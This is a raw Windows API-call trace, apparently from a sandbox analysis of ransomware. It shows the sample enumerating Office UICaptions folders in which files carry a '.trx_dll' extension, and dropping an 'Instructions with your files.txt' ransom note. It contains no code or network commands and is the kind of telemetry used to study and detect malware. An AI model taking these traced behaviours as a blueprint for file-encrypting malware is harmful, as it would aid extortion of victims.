[0122.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cef6000, ftCreationTime.dwHighDateTime=0x1cac803, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7cef6000, ftLastWriteTime.dwHighDateTime=0x1cac803, nFileSizeHigh=0x0, nFileSizeLow=0x45f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1
[0122.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned 71
[0122.153] StrStrIW (lpFirst="PPINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3b09500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa3b09500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a360, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1
[0122.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned 72
[0122.153] StrStrIW (lpFirst="PUB6INTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x8e160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1
[0122.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned 73
[0122.153] StrStrIW (lpFirst="PUB6INTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749d2200, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x749d2200, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x5ab60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1
[0122.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned 73
[0122.153] StrStrIW (lpFirst="PUBWZINT.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6d7a1200, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6d7a1200, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1
[0122.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned 69
[0122.153] StrStrIW (lpFirst="SGRES.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8e7d800, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8e7d800, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4160, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1
[0122.153] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned 70
[0122.153] StrStrIW (lpFirst="STINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.153] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1
[0122.154] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned 72
[0122.154] StrStrIW (lpFirst="VISBRRES.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.154] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a315700, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a315700, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x77560, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1
[0122.154] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll") returned 71
[0122.154] StrStrIW (lpFirst="VISINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.154] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x25b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1
[0122.154] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll") returned 70
[0122.154] StrStrIW (lpFirst="WWINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.154] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb31c100, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb31c100, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x115b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1
[0122.154] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll") returned 71
[0122.154] StrStrIW (lpFirst="WWINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.154] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b688100, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6b688100, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x25360, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1
[0122.154] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll") returned 72
[0122.154] StrStrIW (lpFirst="XLINTL32.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.154] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a375400, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a375400, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x137960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1
[0122.154] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll") returned 73
[0122.154] StrStrIW (lpFirst="XLINTL32.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.154] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1
[0122.154] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll") returned 72
[0122.154] StrStrIW (lpFirst="XLSLICER.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.154] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe092000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe092000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 0
[0122.154] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\Instructions with your files.txt") returned 84
[0122.154] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0122.160] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0122.186] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0122.298] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0122.535] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0122.535] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0122.535] CloseHandle (hObject=0x114) returned 1
[0122.536] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0122.536] GetProcessHeap () returned 0x810000
[0122.536] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0122.536] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
[0122.536] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082") returned 51
[0122.536] GetProcessHeap () returned 0x810000
[0122.536] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0122.536] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*") returned 53
[0122.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0122.548] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\.") returned 53
[0122.548] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.559] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\..") returned 54
[0122.559] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1
[0122.559] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned 72
[0122.559] StrStrIW (lpFirst="ENVELOPR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.559] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xb960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1
[0122.559] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned 72
[0122.559] StrStrIW (lpFirst="GRINTL32.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.559] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x39960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1
[0122.560] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned 73
[0122.560] StrStrIW (lpFirst="GRINTL32.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.560] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x47d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1
[0122.560] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned 69
[0122.560] StrStrIW (lpFirst="MAPIR.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.560] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1
[0122.560] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll") returned 72
[0122.560] StrStrIW (lpFirst="MOR6INT.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.560] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x248aaf00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x248aaf00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x16f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1
[0122.560] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll") returned 71
[0122.560] StrStrIW (lpFirst="MSOINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.560] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25bbdc00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x25bbdc00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2b2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1
[0122.560] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll") returned 72
[0122.560] StrStrIW (lpFirst="MSOINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.560] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3564d600, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3564d600, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1
[0122.560] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll") returned 71
[0122.560] StrStrIW (lpFirst="OMSINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.560] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x63b88300, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63b88300, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll") returned 70
[0122.561] StrStrIW (lpFirst="ONINTL.DLL.trx_dll", lpSrch="SDfghjkl") returned 0x0
[0122.561] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62875600, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62875600, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1
[0122.561] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned 71
[0122.561] StrStrIW (lpFirst="ONINTL.REST.trx_dll", lpSrch="SDfghjkl") returned 0x0
